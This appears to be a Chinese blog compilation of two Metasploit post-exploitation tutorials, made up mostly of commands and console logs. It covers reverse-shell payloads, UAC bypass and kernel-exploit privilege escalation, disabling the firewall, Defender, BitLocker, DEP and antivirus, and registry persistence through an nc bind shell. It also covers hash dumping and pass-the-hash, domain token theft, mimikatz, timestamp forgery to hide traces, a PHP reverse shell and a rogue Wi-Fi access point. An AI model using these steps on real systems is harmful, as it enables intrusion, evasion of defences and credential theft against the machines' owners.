精华内容
下载资源
问答
  • msf后渗透

    千次阅读 2020-07-19 21:57:45
    主要内容 首先构造一个payload msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe ...先返回msf,保留session

    前提与概览


    首先构造一个payload

     msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
    

    已经找到一台机器执行了我的payload

    进一步获取更高的权限。

    获取system权限

    load priv
    getsystems
    

    执行出现超时
    先返回msf,保留session

    background
    

    绕过UAC限制

    1.可以使用如下模块

    use exploit/windows/local/ask 
    

    看一下需要配置项

    这个模块需要基于已有的session,然后进一步请求客户端执行我们的shell。

    设置名称以欺骗客户端执行

    set filename update.exe //一般会看到更新后点击确认
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.1.8
    set session 3 
    

    exploit执行会在客户机弹出执行update.exe的弹窗,一旦执行,直接获取更高的shell。


    这样就获得了更高权限的shell.但是这种客户机的主人一般不会这么傻到直接运行有shell的程序。

    2.还可以使用如下模块

    use exploit/windows/local/bypassuac  ///需要获取sehll用户组在管理员组
    

    这个模块的用法和前面的类似,但是它是上传了包含绕过uac的程序,并不会在客户机的屏幕上弹出框。

    3.还可以用如下模块

    use exploit/windows/local/bypassuac_injection  //需要获取sehll用户组在管理员组
    

    这个同样是不会弹出框,直接内部执行。

    4.利用漏洞拿到system

    use exploit/windows/local/ms13_053_schlamperei 
    use exploit/windows/local/ms13_081_track_popup_menu 
    use exploit/windows/local/ms13_097_ie_registry_symlink 
    use exploit/windows/local/ppr_flatten_rec 
    use exploit/windows/local/ms10_015_kitrap0d   //版本限制为sp4-win7x86
    

    上面的五个都是提取system的漏洞利用模块。其实不仅仅有这五个,这里只是列举。

    第1个和第二个有windows版本的要求,为windows SP0或者SP1

    注:其实不必这么麻烦,如果能Meterpreter直接迁移到系统的进程里,可以直接执行系统命令的
    图形化界面payload

    set payload windows/vncinject/reverse_tcp 
    set ViewOnly no //可操作
    

    hashdump

    hashdump用来获取系统账户的用户名和密码的哈希值。

    利用 exploit/windows/smb/psexec模块和hash后的密码登陆smb服务得到shell

    use  exploit/windows/smb/psexec
    

    配置参数:

    set smbpass hashdump(得到的hash值)
    
    set smbuser guest
    

    利用之前的最高shell关掉UAC(用户账户控制),执行如下两条命令

     cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft \Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f 
    
     cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft \Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f 
    
    //在shell的窗口下执行,不是meterpreter命令符下
    参数说明
    ADD 添加一个注册表项
    -v 创建键值
    -t 键值类型
    -d 键值的值
    

    重启使注册表内容生效

    shutdown /r /t 0
    

    run拿到shell

    关闭防火墙

    前提:已经通过漏洞拿到了目标主机的管理员权限的shell.

    使用如下命令关闭防火墙

    shell
    
    netsh advfirewall set allprofiles state off
    

    查看一下,关闭成功

    进一步结束Windefend

     net stop windefend  //netstop 用来结束windows的服务
    

    在windows下查看服务情况
    win+r 运行services.msc

    磁盘加密

    Bitlocker 磁盘加密,有的电脑的加密文件是被加密封存,Bitlocker加密就是一种,集成在 windows系统软件系统中。

    关掉目标主机的磁盘加密:

     manage-bde -off C: 
    

    查看磁盘加密状态:

    manage-bde -status C: 
    

    关闭DEP

    DEP是一种基于硬件的防护cpu防护技术。关闭DEPk可以容易的攻破敌方的防御。
    可以使用如下命令

     bcdedit.exe /set {current} nx AlwaysOff
    

    杀死防病毒软件

    在meterpreter的命令符下输入

    Run killav
    

    也可以直接使用post模块

    run post/windows/manage/killav 
    

    开启远程桌面服务

    使用post模块
     run post/windows/manage/enable_rdp 
    

    连接远程桌面

    rdesktop +ip地址
    

    msf会自动生成一个资源文件,控制完成后可以运行次资源文件,使得记录清除,关闭远程桌面服务。

    run multi_console_command -rc +生成的文件路径
    
    使用已存脚本

    开启远程桌面服务

     run getgui –e 
    

    添加远程桌面用户和密码

     run getgui -u yuanfh -p pass 
    

    抓取屏幕

     screenshot 
    

    或者使用插件

    load espia  //加载插件
    screengrab //截取屏幕
    

    域环境搭建

    有关域

    域就是将多台计算机在逻辑上组织到一起,进行集中管理,也就是创建在域控制器上的组,将组的账户信息保存在活动目录中。域组可以用来控制域内任何一台计算机资源的访问和执行系统任务的权限。
    在微软的世界中,一个域是由一个或多个域控制器(domain controller)来控制的(其实域控制器并不神秘,无非就是装了一些特别软件的电脑)。其他的电脑加入该域,就要接受域控制器的控制。域控制器中有两个重要的表,一个是加入该域的电脑的列表,另一个表用来保存叫做活动目录(Active Directory)的东西。
    活动目录就是你登录公司网络的帐户。活动目录中存储着你的权限。你在某台电脑上登录,你键入用户名和密码,你的电脑首先要把你的登录信息发送到域控制器,域控制器首先核实你的登录信息是否正确,然后把一个叫access key的东西返还给你登录的电脑。这个access key中就包含着你的权限,由它来决定你是否可以安装软件,或者使用打印机等等。

    参考链接

    Token利用
     Delegate Token:交互登陆会话,例如正常的账号登陆电脑
     Impersonate Token:非交互登陆会话,例如用命令框连结的字符型界面
    

    我们都知道,伪造管理员账户的token可以使我们从普通提升为管理员权限。
    在一个域环境下,如果域管理员以管理员的账号密码登陆了普通用户的电脑,然后注销登陆,Delegate Token注销变为 Impersonate Token,但是管理员权限不变,如果我们拥有这台pc的system权限,那么就有可能拿到域管理员的token

    利用的msf Incognito 插件窃取token

    域环境搭建

    windows家庭版和普通版是无法搭建域环境的,只是适合个人使用,搭建域环境需要是windows server版本。

    1.配置windows sevver的静态ip
    静态ip的配置百度
    2.安装域控

    win+R运行如下
    depromo
    



    给域创建名称,这个是随便的

    后面的就一路下一步



    完成安装后重新启动。
    参考链接

    使用一台win xp电脑加入域
    1.配置静态ip和dns

    xp的dns解析地址必须为装有域控的那台主机的ip地址。

    2.在计算机右击属性,找到域,如下图。

    3.输入加入域管理员的账户和密码,使得认证通过

    4.再次登陆时,选择登陆到域

    5.找到域控制器,为xp分配一个账户

    win+r 运行如下
    dsa.msc
    

    右键用户,选择新建用户

    利用ms_08_067获取win xp的系统权限

    获取域Token

    使用msf如下插件
    incognito可以进行toke的伪造,获取等

    首先,load插件

    load incognito 
    

    列出电脑所有的用户token

     list_tokens -u  //只有获取了目的主机的系统权限才能 使用这条命令
    


    发现并没有域管理员的任何信息
    使用域管理员登陆这台主机

    再次执行列出所有token的命令,发现就多了一条记录

    token伪造

     impersonate_token  +token
    
     impersonate_token lab\\administrator  //这里要用双斜线时因为单斜线具有转义作用。
    

    伪造成功后,查看个人信息

    再次getuid,已经是域管理员了

    执行当前的权限shell

     execute -f cmd.exe -i -t    
    

    参数说明:-f为执行的程序 -i打开对话命令交互,-t 以当前的token执行程序。

    注册表操作

    注册表

    例如:
    已经拿到了目标主机的merterpreter的权限,我们通过修改注册表,使得每次目标主机开机的时候都会运行我们上传到目标主机的nc.exe,方便对目标主机进行监控。
    1.上传nc.exe到目标主机

     upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32   //传送到了系统目录下
    

    2.查看注册表中默认跟随主机启动的内容

    reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run  //reg 是merterpreter中专门查看修改注册表的命令
    


    3.添加一个键值

     reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'   
     //setval参数为添加或者修改某个键值
     // -Ldp L参数为侦听,d表示在后台,p表示为端口
     // 合起来就是在注册表的未知添加键值,内容是执行目录下的nc.exe,后台打开cmd.exe,监听444端口,等待连接。
    

    执行成功后查看插入成功。

    也可以用如下命令

     reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
     // queryval为查询
    

    添加一条防火墙策略

    首先进入命令提示符

    execute -f cmd -i -H   //隐蔽的方式打开shell
    

    查看防火墙的状态

    netsh firewall show opmode 
    

    增加一条允许策略

     netsh firewall add portopening TCP 4444 "test" ENABLE ALL 
      //关于名称test可以设置为一个具有隐蔽性的名称,可以从防火墙的策略中摘取名称,
      达到掩饰目的
    

    连接shell

    nc 192.168.1.7 444
    

    其他注册表选项
    其他注册表选项

    sniffer抓包

    当拿到一台电脑的shell的时候,可以启用抓包来对这台机器的流量经过进行抓包嗅探,过滤出对进一步渗透有用的信息。
    首先,加载插件

     load sniffer 
    

    选择抓包的接口

    sniffer_interfaces
    

    例如选择接口2进行抓包

     sniffer_start 2 
    

    msf抓的包均在kali的一个缓冲区里,最多抓取50000个

    导出包

     sniffer_dump 3 1.cap 
    


    使用模块分解包

    use auxiliary/sniffer/psnuffle 
    
    set PCAPFILE 2.cap
    

    直接run,但是并没有出现想要的结果,模块还是做的不太全面,建议使用wireshark

    目标主机文件搜索

    serach命令

    例如搜索主机的全部.ini文件

     search -f *.ini
    

    搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸,所以在指定的目录下搜索。
    例如:

    search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf
    

    文件访问时间修改

    在对目标系统文件进行操作的时候,会留下关于文件操作的时间,包含创建时间,修改时间,改变时间顾名思义,系统管理员可以通过这三个时间的信息来查看文件是否被改变,何时改变,判断系统是否被入侵。

    对于渗透测试,当然希望能够将改动的痕迹抹除。
    可以用stat - 文件名来查看文件时间的详细信息。

    Timestomp
    Timestomp 是merterpreter 查看修改文件改动时间的命令。
    查看文件的具体时间

     timestomp -v 1.txt 
    

    相比于stat命令,多了Entry Modified: 2020-07-22 22:51:39 -0400

    将一个文件的MAC时间改为按照另一个文件的MAC时间复制

     timestomp -f c:\\autoexec.bat 1.txt 
    

    时间具体修改参数

     -m  //修改Modified时间
     -a   //修改Accessed时间
     -c  //修改Created 时间
     -e  //修改 Entry Modified时间
     -z  //四个时间全部修改
    

    例如:

     timestomp -z "MM/DD/YYYY HH24:MI:SS"  2.txt
    

    POST模块

    一些常用的post模块
    1.判断目标机是否为虚拟机

     run post/windows/gather/checkvm 
    

    2.查看目标主机的账号和token

     run post/windows/gather/credentials/credential_collector 
    

    3.查看目标机的安装软件

     run post/windows/gather/enum_applications 
    

    4.本地提权测试模块

    假如拿到的权限并不是管理员系统权限,又不知道是否存在本地提权的漏洞,就可以选择如下模块进行测试

    run post/multi/recon/local_exploit_suggester 
    


    它会自动将所有的可以测试的本地提权的漏洞走一遍,然后将可行的罗列出来。

    5.删除存在的用户

     run post/windows/manage/delete_user USERNAME=badboy
    

    可以从shell的窗口处使用net user查看存在的用户

    6.进一步了解目标主机的系统环境信息

     run post/multi/gather/env 
    

    6.查看关于火狐浏览器登陆的web appliaction 账号密码

    假设目标系统安装了火狐浏览器,并将账号密码设置为保存在浏览器中

    run post/multi/gather/firefox_creds 
    

    7.ssh保存账号查看

     run post/multi/gather/ssh_creds 
    

    8.检测系统上的一个程序是否为恶意软件
    例如:

     run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe
    

    拿到shell后立刻执行脚本

    一般情况下,payLoad都有高级参数,里面存在一个advanced的高级选项。

    可以看到有一个 AutoRunScript 参数,这个参数就是在执行payload后,立刻执行脚本。

    例如:set AutoRunScript migrate -n explorer.exe
    这个语句的意思就是一旦拿到shell,立刻将进程迁移到explorer.exe中,避免注入的有毒exe被杀死后,shell丢失。

    或者其他脚本,例如,立刻查看目标主机最近打开的文件

    set AutoRunScript post/windows/gather/dumplinks
    

    如果先后有执行顺序的两个脚本,可以在InitialAutoRunScript选项内添加一个最先执行的脚本。

    修改hosts文件

    run hostsedit -e 1.1.1.1,www.baidu.com
    

    持久后门

    metsvc
     run metsvc -A       //   删除 -r 
    


    这个命令直接会生成系统的进程,名称为metsvc.exe,监听31337端口
    并且开机会自己启动,但是缺点就是端口不能自己配置,上传的exe文件也不能更改名称。

    连接后门

    
     set PAYLOAD windows/metsvc_bind_tcp 
     set LPORT 31337 
     set RHOST 1.1.1.1
    


    卡了好久都没拿到shell,这个模块估计是不宰维护了

    persistence

    查看一下参数的配置项

    -A 默认的连接方式为exploit/multi/handler
    -S  作为一个系统服务进程工作在系统上
    -X 自动执行当系统开机
    -i 延迟时间,当服务运行后隔n秒执行回连
    -p 端口
    -r 回连的ip地址,也就是kali的地址
    

    示例:

     run persistence -X -i 10 -p 4444 -r 1.1.1.1 
     run persistence -U -i 20 -p 4444 -r 1.1.1.1 
     run persistence -S -i 20 -p 4444 -r 1.1.1.1
    

    Mimikatz 扩展

    需要获得system权限

    load mimikatz 
    
    load的新命令如下:
     wdigest 
     kerberos
     msv
     ssp
     tspkg
     ivessp
    


    上面的这些都和系统的账号有关系
    mimikatz_command -f 无法获取帮助,却能从报错信息中获取使用方法

    查看系统运行服务

    mimikatz_command -f service::list
    

    查看系统进程

     mimikatz_command -f process::list
    

    可以通过报错获取更多命令提示

    生成php类型payload

    msf不仅仅能生成可执行的exe payload,同样也可以生成其他类型的payload,例如,php

     msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php 
     //生成phpshell,反弹shell到kali主机上
    

    利用的主要方向是文件上传,上传到目标服务器上php文件然后访问php文件,解析后直接回连我们的kali主机。

    Web Delivery

    需要存在一个命令执行的漏洞,然后生成的payload填入命令执行的漏洞中,直接实现拿到www的权限。

    首先生成payload

    use exploit/multi/script/web_delivery 
    

    show targets

    set target 1
    set payload  php/meterpreter/reverse_tcp 
    set lhost 192.168.1.8
    run
    

    将生成的payload填入命令执行漏洞,执行就会反弹shell。

    Karmetasploit

    可以用来伪造ap,嗅探密码,截获数据,浏览器攻击。

    首先下载资源文件

     wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt 
    

    安装依赖包

     gem install activerecord sqlite3-ruby
    

    伪造ap需要对连接的用户分配ip,所以要首先安装dhcp服务器

     apt-get install isc-dhcp-server 
    

    配置dhcp服务器

    option domain-name-servers 10.0.0.1;
    default-lease-time 60;
    max-lease-time 72;
    ddns-update-style none;
    authoritative;
    log-facility local7;
    subnet 10.0.0.0 netmask 255.255.255.0 { 
    	range 10.0.0.100 10.0.0.254;
    	option routers 10.0.0.1;
        option domain-name-servers 10.0.0.1; 
        }
    

    准备一个无线网卡,连接到虚拟机上。

    ipconfig出现wlan0,说明网卡安装成功,下一步就是把这个网卡做成具有监听作用的网卡。

     airmon-ng start wlan0 
    

    ifconfig可以看到侦听的网卡后多了mon

    伪造一个ap

     airbase-ng -P -C 30 -e "FREE" -v wlan0mon 
    

    激活并配置
    首先查看接口ifconfig -a查看到名称为ato

    激活并配置ip

     ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 
    

    创建一个租约文件

     touch /var/lib/dhcp/dhcpd.leases 
    

    启动dhcp服务

     dhcpd -cf /etc/dhcp/dhcpd.conf at0 
    

    在物理主机上看,创建的已经存在了

    启动 Karmetasploit

    msfconsole -q -r karma.rc_.txt 
    

    资源文件.txt为许多漏洞利用的代码,一个个进行测试,如果存在漏洞,就会直接反弹shell到kali。

    修改资源文件,官方给出的文件是不能适应真是环境的

    vim  karma.rc_.txt 
    

    删除第一行连接数据库的语句,因为msf已经连接了msf的账号。
    删除steg的配置项。
    删除set lport语句

    添加路由转发

     echo 1 > /proc/sys/net/ipv4/ip_forward  //开启数据转发
     
     iptables -P FORWARD ACCEPT 
     
     iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
      
    
    展开全文
  • MSF后渗透

    千次阅读 2020-11-24 11:24:48
    : Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter > 也可以用后渗透的这个脚本 meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key......

    信息收集

    获取目标机器的分区情况: post/windwos/gather/forensics/enum_drives

    判断是否为虚拟机 post/windows/gather/checkvm

    开启了哪些服务 :post/windwos/gather/enum_services

    安装了哪些应用: post/windows/gather/enum_applications

    查看共享: post/windows/gather/enum_shares

    获取主机最近的系统操作: post/windows/gather/dumplinks

    查看安装补丁: post/windows/gather/enum_patches

    scraper脚本

    winenum脚本

    好 开始操作

    run post/ 按tab

    meterpreter > run post/
    Display all 229 possibilities? (y or n)
    

    有229个模块可以利用

    进行收集windows模块

    meterpreter > run post/windows/gather/
    Display all 119 possibilities? (y or n)
    

    gather是收集的意思

    forensics 取证

    meterpreter > run post/windows/gather/forensics/
    run post/windows/gather/forensics/browser_history  run post/windows/gather/forensics/enum_drives      run post/windows/gather/forensics/nbd_server       
    run post/windows/gather/forensics/duqu_check       run post/windows/gather/forensics/imager           run post/windows/gather/forensics/recovery_files   
    

    获取分区:

    meterpreter > run post/windows/gather/forensics/enum_drives 
    
    Device Name:                    Type:   Size (bytes):
    ------------                    -----   -------------
    <Physical Drives:>
    \\.\PhysicalDrive0                   4702111234474983745
    <Logical Drives:>
    \\.\C:                               4702111234474983745
    \\.\D:                               4702111234474983745
    

    判断是否为虚拟机:

    meterpreter > run post/windows/gather/checkvm 
    
    [*] Checking if WORK-PC is a Virtual Machine ...
    [+] This is a VMware Virtual Machine
    

    查看安装补丁:

    meterpreter > run post/windows/gather/enum_patches
    
    [*] Patch list saved to /root/.msf4/loot/20201117105913_default_192.168.86.145_enum_patches_545017.txt
    [*] KB2534111 applied
    [*] KB976902 applied
    

    脚本应用

    查看系统基本信息:

    meterpreter > run scraper
    [*] New session on 192.168.86.145:49179...
    [*] Gathering basic system information...
    [*] Dumping password hashes...
    [*] Obtaining the entire registry...
    [*]  Exporting HKCU
    [*]  Downloading HKCU (C:\Users\ADMINI~1\AppData\Local\Temp\znstUAlF.reg)
    [*]  Cleaning HKCU
    [*]  Exporting HKLM
    [*]  Downloading HKLM (C:\Users\ADMINI~1\AppData\Local\Temp\fdJwVUXN.reg)
    [*]  Cleaning HKLM
    [*]  Exporting HKCC
    [*]  Downloading HKCC (C:\Users\ADMINI~1\AppData\Local\Temp\rqIgihkj.reg)
    [*]  Cleaning HKCC
    [*]  Exporting HKCR
    [*]  Downloading HKCR (C:\Users\ADMINI~1\AppData\Local\Temp\RYnqTrun.reg)
    [*]  Cleaning HKCR
    [*]  Exporting HKU
    [*]  Downloading HKU (C:\Users\ADMINI~1\AppData\Local\Temp\TTxYTdlF.reg)
    [*]  Cleaning HKU
    [*] Completed processing on 192.168.86.145:49179...
    

    去导出的目录下 查看就可以了

    搜索相关信息:

    run winenum
    

    权限提升

    • 提高程序运行级别

    • UAC绕过

    • 利用提权漏洞进行提权

    UAC就是应用弹出的那个是 / 否 的框框

    提高程序运行级别

    以高权限的方式重启一个反弹shellcode 并没有完全绕过用户权限 并且会触发UAC

    要点是–>msf模块: exploit/windows/local/ask

    查看用户权限:getuid

    进行提权:getsystem

    会报错因为你的权限不够

    退出meterpreter:background

    回到监听模块

    此时session还在的

    之后加载msf模块: use exploit/windows/local/ask

    设置payload:

    set payload windows/x64/meterpreter/reverse_tcp

    查看信息: info

    msf5 exploit(windows/local/ask) > info
    
           Name: Windows Escalate UAC Execute RunAs
         Module: exploit/windows/local/ask
       Platform: Windows
           Arch: 
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Excellent
      Disclosed: 2012-01-03
    
    Provided by:
      mubix <mubix@hak5.org>
      b00stfr3ak
    
    Available targets:
      Id  Name
      --  ----
      0   Windows
    
    Check supported:
      No
    
    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      FILENAME                    no        File name on disk
      PATH                        no        Location on disk, %TEMP% used if not set
      SESSION                     yes       The session to run this module on.
      TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)
    
    Payload information:
    
    Description:
      This module will attempt to elevate execution level using the 
      ShellExecute undocumented RunAs flag to bypass low UAC settings.
    

    设置sessions:set session 1

    FILINAME :行为框弹出来的名字

    set filename QQ.exe
    
    msf5 exploit(windows/local/ask) > exploit
    
    [*] Started reverse TCP handler on 192.168.86.136:4444 
    [*] UAC is Enabled, checking level...
    [*] The user will be prompted, wait for them to click 'Ok'
    [*] Uploading QQ.exe - 7168 bytes to the filesystem...
    [*] Executing Command!
    [*] Sending stage (201283 bytes) to 192.168.86.145
    [*] Meterpreter session 3 opened (192.168.86.136:4444 -> 192.168.86.145:49195) at 2020-11-17 16:22:28 +0800
    

    攻击之后,win7就会弹出一个框,点击ok就可以进行 getsystem提权了

    msf5 exploit(windows/local/ask) > sessions
    
    Active sessions
    ===============
    
      Id  Name  Type                     Information                      Connection
      --  ----  ----                     -----------                      ----------
      1         meterpreter x64/windows  WORK-PC\Administrator @ WORK-PC  192.168.86.136:4444 -> 192.168.86.145:49194 (192.168.86.145)
      2         meterpreter x64/windows  WORK-PC\Administrator @ WORK-PC  192.168.86.136:4444 -> 192.168.86.145:49193 (192.168.86.145)
      3         meterpreter x64/windows  WORK-PC\Administrator @ WORK-PC  192.168.86.136:4444 -> 192.168.86.145:49195 (192.168.86.145)
    

    多出来一个高权限的sessions 3

    msf5 exploit(windows/local/ask) > sessions -i 3
    [*] Starting interaction with 3...
    
    meterpreter > getuid
    Server username: WORK-PC\Administrator
    meterpreter > getsystem
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    

    可以看到已经是system权限了

    默认UAC设置的级别是默认,所以不会弹窗。

    (win+R打开–>msconfig–>工具–>更改UAC设置)

    在这里插入图片描述

    修改为高即会弹窗

    • UAC绕过

    back返回

    msf5 > use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac_comhijack
    use exploit/windows/local/bypassuac_dotnet_profiler
    use exploit/windows/local/bypassuac_eventvwr
    use exploit/windows/local/bypassuac_fodhelper
    use exploit/windows/local/bypassuac_injection
    use exploit/windows/local/bypassuac_injection_winsxs
    use exploit/windows/local/bypassuac_sdclt
    use exploit/windows/local/bypassuac_silentcleanup
    use exploit/windows/local/bypassuac_sluihijack
    use exploit/windows/local/bypassuac_vbs
    use exploit/windows/local/bypassuac_windows_store_filesys
    use exploit/windows/local/bypassuac_windows_store_reg
    

    有这么多的模块

    exploit/windows/local/bypassuac
    
    exploit/windows/local/bypassuac_injection
    
    exploit/windows/local/bypassuac_vbs
    

    使用模块,设置sessions信息之后,exploit,会获取到新的会话,可直接提权

    meterpreter > getuid
    Server username: admin-PC\admin
    meterpreter > getsystem
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > 
    
    • 利用提权漏洞进行提权

    ms14_058、 ms16_032、 ms15_051 、 ms16_016

    msf模块

    use exploit/windows/local/ms14_058_track_popup_menu
    

    这里直接进去就是system权限

    数据包捕获

    抓包:

    加载 sniffer : load sniffer

    查看网卡信息 : sniffer_interface

    开启监听 : sniffer_start1

    导出数据包 : sniffer_dump 1.1cap

    解包:

    auxiliary/sniffer/psnuffle

    抓包演练

    msf5 exploit(multi/handler) > sessions -i 3
    [*] Starting interaction with 3...
    
    meterpreter > load sniffer
    Loading extension sniffer...Success.
    meterpreter > sniffer_interface
    [-] Unknown command: sniffer_interface.
    meterpreter > sniffer_interfaces
    
    1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
    2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
    
    meterpreter > sniffer_start 2
    [*] Capture started on interface 2 (50000 packet buffer)
    meterpreter > sniffer_dump 2 2.cap
    [*] Flushing packet capture buffer for interface 2...
    [*] Flushed 10 packets (1679 bytes)
    [*] Downloaded 100% (1679/1679)...
    [*] Download completed, converting to PCAP...
    [*] PCAP file written to 2.cap
    

    在这里插入图片描述
    用wireshark打开
    在这里插入图片描述
    解包演练

    msf5 auxiliary(sniffer/psnuffle) > set PCAPFILE /root/msf/2.cap
    PCAPFILE => /root/msf/2.cap
    msf5 auxiliary(sniffer/psnuffle) > exploit
    

    PassingTheHash

    windwos 系统下的hashh密码格式为:
    
    用户名:RID:LM-HASH值:NT-HASH值
    
    获取hash值:
    
    hashdump (需要系统权限)
    run post/windwos/gather/smart_hashdump
    检查权限和系统类型
    检查是否是域控服务器
    从注册表中读取hash、注入LSASS进程
    如果是08server并且具有管理员权限,直接getsystem提权
    如果是win7且UAC关闭并具有管理员权限,从注册表中读取
    03/XP直接getsystem,从注册表获取HASH
    
    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    meterpreter > 
    

    也可以用后渗透的这个脚本

    meterpreter > run post/windows/gather/hashdump
    
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY 052e64cbfb72fedce5ea362fea048f3a...
    [*] Obtaining the user list and keys...
    [*] Decrypting user keys...
    [*] Dumping password hints...
    
    No users with password hints on this system
    
    [*] Dumping password hashes...
    
    
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    
    
    meterpreter > 
    
    meterpreter > run post/windows/gather/smart_hashdump
    
    [*] Running module against WORK-PC
    [*] Hashes will be saved to the database if one is connected.
    [+] Hashes will be saved in loot in JtR password file format to:
    [*] /root/.msf4/loot/20201119162703_default_192.168.86.147_windows.hashes_043948.txt
    [*] Dumping password hashes...
    [-] On this version of Windows you need to be NT AUTHORITY\SYSTEM to dump the hashes
    [-] Try setting GETSYSTEM to true.
    meterpreter > 
    

    已经有权限了 破解密码 为啥?

    因为减少被发现的可能性

    可以尝试进行弱口令尝试

    hash值破解:

    在线

    离线 findmyhash(kali的工具) 、 L0phtCrack

    hash传递: 用hash值进行登录

    psexec: exploit/windows/smb/psexec

    msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/psexec) > show options
    
    Module options (exploit/windows/smb/psexec):
    
       Name                  Current Setting  Required  Description
       ----                  ---------------  --------  -----------
       RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT                 445              yes       The SMB service port (TCP)
       SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
       SERVICE_DISPLAY_NAME                   no        The service display name
       SERVICE_NAME                           no        The service name
       SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
       SMBDomain             .                no        The Windows domain to use for authentication
       SMBPass                                no        The password for the specified username
       SMBUser                                no        The username to authenticate as
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.86.136   yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.86.147
    RHOSTS => 192.168.86.147
    msf5 exploit(windows/smb/psexec) > 
    

    去查看445端口有没有开启

    root@localhost:~# netstat -ano
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
    tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      off (0.00/0/0)
    tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      off (0.00/0/0)
    tcp        0      0 192.168.86.136:4444     192.168.86.147:49203    ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.86.136:4444     192.168.86.147:49202    ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.86.136:4444     192.168.86.147:49200    ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.86.136:4444     192.168.86.147:49204    ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.86.136:4444     192.168.86.147:49201    ESTABLISHED off (0.00/0/0)
    tcp6       0      0 :::111                  :::*                    LISTEN      off (0.00/0/0)
    udp        0      0 0.0.0.0:111             0.0.0.0:*                           off (0.00/0/0)
    udp        0      0 192.168.86.136:68       192.168.86.254:67       ESTABLISHED off (0.00/0/0)
    udp6       0      0 :::111                  :::*                                off (0.00/0/0)
    raw6       0      0 :::58                   :::*                    7           off (0.00/0/0)
    Active UNIX domain sockets (servers and established)
    Proto RefCnt Flags       Type       State         I-Node   Path
    unix  2      [ ACC ]     STREAM     LISTENING     23555    /run/user/132/bus
    unix  2      [ ACC ]     STREAM     LISTENING     28842    @/tmp/.ICE-unix/1099
    unix  2      [ ACC ]     STREAM     LISTENING     23557    /run/user/132/gnupg/S.dirmngr
    unix  2      [ ACC ]     STREAM     LISTENING     23560    /run/user/132/gnupg/S.gpg-agent.browser
    unix  2      [ ACC ]     STREAM     LISTENING     23562    /run/user/132/gnupg/S.gpg-agent.extra
    unix  2      [ ACC ]     STREAM     LISTENING     28940    /run/user/0/keyring/ssh
    unix  2      [ ACC ]     STREAM     LISTENING     23564    /run/user/132/gnupg/S.gpg-agent.ssh
    unix  2      [ ACC ]     STREAM     LISTENING     23566    /run/user/132/gnupg/S.gpg-agent
    unix  2      [ ACC ]     STREAM     LISTENING     23568    /run/user/132/pk-debconf-socket
    unix  2      [ ACC ]     STREAM     LISTENING     23570    /run/user/132/pulse/native
    unix  2      [ ]         DGRAM                    15634    /run/systemd/journal/syslog
